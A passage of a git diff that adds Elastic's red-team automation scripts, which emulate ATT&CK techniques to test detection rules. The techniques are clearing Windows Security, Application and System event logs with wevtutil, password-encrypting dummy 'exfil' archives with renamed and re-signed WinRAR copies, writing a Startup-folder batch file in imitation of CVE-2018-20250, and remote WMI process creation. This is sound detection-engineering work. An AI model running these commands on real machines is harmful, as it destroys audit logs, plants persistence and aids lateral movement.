+# Name: Clearing Windows Event Logs
+# RTA: wevutil_log_clear.py
+# ATT&CK: T1070
+# Description: Uses the native Windows Event utility to clear the Security, Application and System event logs.
+
+import time
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("Clearing Windows Event Logs")
+ common.log("WARNING - About to clear logs from Windows Event Viewer", log_type="!")
+ time.sleep(3)
+ wevtutil = "wevtutil.exe"
+
+ for log in ["security", "application", "system"]:
+ common.execute([wevtutil, "cl", log])
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/winrar_encrypted.py b/rta/winrar_encrypted.py
new file mode 100644
index 000000000..b7ec300a6
--- /dev/null
+++ b/rta/winrar_encrypted.py
@@ -0,0 +1,97 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Encrypting files with WinRAR
+# RTA: winrar_encrypted.py
+# ATT&CK: T1022
+# Description: Uses "bin\rar.exe" to perform encryption of archives and archive headers.
+
+import base64
+import os
+import sys
+
+from . import common
+
+MY_APP = common.get_path("bin", "myapp.exe")
+WINRAR = common.get_path("bin", "Rar.exe")
+
+
+def create_exfil(path=os.path.abspath("secret_stuff.txt")):
+ common.log("Writing dummy exfil to %s" % path)
+ with open(path, 'wb') as f:
+ f.write(base64.b64encode(b"This is really secret stuff" * 100))
+ return path
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(MY_APP, WINRAR)
+def main(password="s0l33t"):
+ # Copies of the rar.exe for various tests
+ winrar_bin_modsig = common.get_path("bin", "rar_broken-sig.exe")
+ common.patch_file(WINRAR, b"win.rar GmbH", b"bad.bad GmbH", winrar_bin_modsig)
+
+ # Renamed copies of executables
+ winrar_bin_modsig_a = os.path.abspath("a.exe")
+ winrar_bin_b = os.path.abspath("b.exe")
+
+ common.copy_file(winrar_bin_modsig, winrar_bin_modsig_a)
+ common.copy_file(WINRAR, winrar_bin_b)
+
+ # Output options for various tests
+ rar_file = os.path.abspath("out.rar")
+ rar_file_jpg = os.path.abspath("out.jpg")
+ common.remove_files(rar_file, rar_file_jpg)
+
+ # use case: rar with -hp to generate new rar file w/ .rar
+
+ common.log("Test case 1: Basic use new rar out", log_type="!")
+ exfil = create_exfil()
+ common.execute([WINRAR, "a", rar_file, "-hp" + password, exfil])
+
+ # use case: rar with -hp to add to existing rar file
+ # didn't delete rar from previous case
+ common.log("Test case 2: Basic use add to existing rar", log_type="!")
+ exfil2 = create_exfil("more_stuff.txt")
+ common.execute([WINRAR, "a", rar_file, "-hp" + password, exfil2])
+ common.remove_files(exfil2, rar_file)
+
+ # use case: process_name == "*rar*" - yes
+ # original_file_name == "*rar*" - no
+ # signature_signer == "*win.rar*" - no
+ # output filename == "*.rar" - no
+ common.log("Test case 3: *rar* in process name", log_type="!")
+ common.execute([winrar_bin_modsig, "a", rar_file_jpg, "-hp" + password, exfil])
+ common.remove_files(rar_file_jpg)
+
+ # use case: process_name == "*rar*" - no
+ # original_file_name == "*rar*" - no
+ # signature_signer == "*win.rar*" - yes
+ # output filename == "*.rar" - no
+ common.log("Test case 4: Expected WinRar signature", log_type="!")
+ common.execute([winrar_bin_b, "a", rar_file_jpg, "-hp" + password, exfil])
+ common.remove_files(rar_file_jpg)
+
+ # use case: process_name == "*rar*" - no
+ # original_file_name == "*rar*" - no
+ # signature_signer == "*win.rar*" -no
+ # output filename == "*.rar" - yes
+ common.log("Test case 5: *.rar in output filename", log_type="!")
+ common.execute([winrar_bin_modsig_a, "a", rar_file, "-hp" + password, exfil])
+
+ common.remove_files(rar_file, winrar_bin_modsig_a, winrar_bin_b, exfil)
+
+ # false positive - should not match signature
+ # use case: process_name == "*rar*" - no
+ # original_file_name == "*rar*" - no
+ # signature_signer == "*win.rar*" -no
+ # output filename == "*.rar" - no
+ common.log("Test case 6: FP, shoudln't alert, run with myapp.exe", log_type="!")
+ common.execute([MY_APP, "-hpbadargument"])
+
+ common.log("Cleanup", "-")
+ common.remove_files(winrar_bin_modsig, winrar_bin_modsig_a, winrar_bin_b)
+
+
+if __name__ == "__main__":
+ exit(main(*sys.argv[1:]))
diff --git a/rta/winrar_startup_folder.py b/rta/winrar_startup_folder.py
new file mode 100644
index 000000000..48c41ba5e
--- /dev/null
+++ b/rta/winrar_startup_folder.py
@@ -0,0 +1,31 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: WinRAR Startup Folder
+# RTA: winrar_startup_folder.py
+# ATT&CK: T1060
+# Description: Writes batch file into Windows Startup folder using process ancestry tied to exploit (CVE-2018-20250)
+
+import os
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("WinRAR StartUp Folder Persistence")
+ win_rar_path = os.path.abspath('WinRAR.exe')
+ ace_loader_path = os.path.abspath('Ace32Loader.exe')
+ batch_file_path = '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mssconf.bat'
+ startup_path = os.environ['USERPROFILE'] + batch_file_path
+ common.copy_file("C:\\Windows\\System32\\cmd.exe", win_rar_path)
+ common.copy_file("C:\\Windows\\System32\\cmd.exe", ace_loader_path)
+ common.execute([win_rar_path, '/c', ace_loader_path, '/c', 'echo', 'test', '^>', startup_path], kill=True)
+ common.remove_file(startup_path)
+ common.remove_file(ace_loader_path)
+ common.remove_file(win_rar_path)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/wmi_incoming_logon.py b/rta/wmi_incoming_logon.py
new file mode 100644
index 000000000..e3cf71e77
--- /dev/null
+++ b/rta/wmi_incoming_logon.py
@@ -0,0 +1,39 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: WMI Incoming Lateral Movement
+# RTA: wmi_incoming_logon.py
+# ATT&CK: T1047
+# Description: Uses PS WMI to trigger 2 logon events via wmi and 1 control logon, which should result in 2 alerts total
+
+import sys
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main(remote_host=None):
+ if not remote_host:
+ common.log('A remote host is required to detonate this RTA', '!')
+ return common.MISSING_REMOTE_HOST
+
+ common.enable_logon_auditing(remote_host)
+
+ common.log('Attempting to trigger a remote logon on {}'.format(remote_host))
+
+ commands = [
+ 'Invoke-WmiMethod -ComputerName {} -Class Win32_process -Name create -ArgumentList {}'.format(remote_host, c)
+ for c in ('ipconfig', 'netstat')
+ ]
+
+ # trigger twice
+ for command in commands:
+ common.execute(['powershell', '-c', command])
+
+ # this should not trigger an alert
+ common.execute(['net.exe', 'time', '\\\\{}'.format(remote_host)])
+
+
+if __name__ == "__main__":
+ exit(main(*sys.argv[1:]))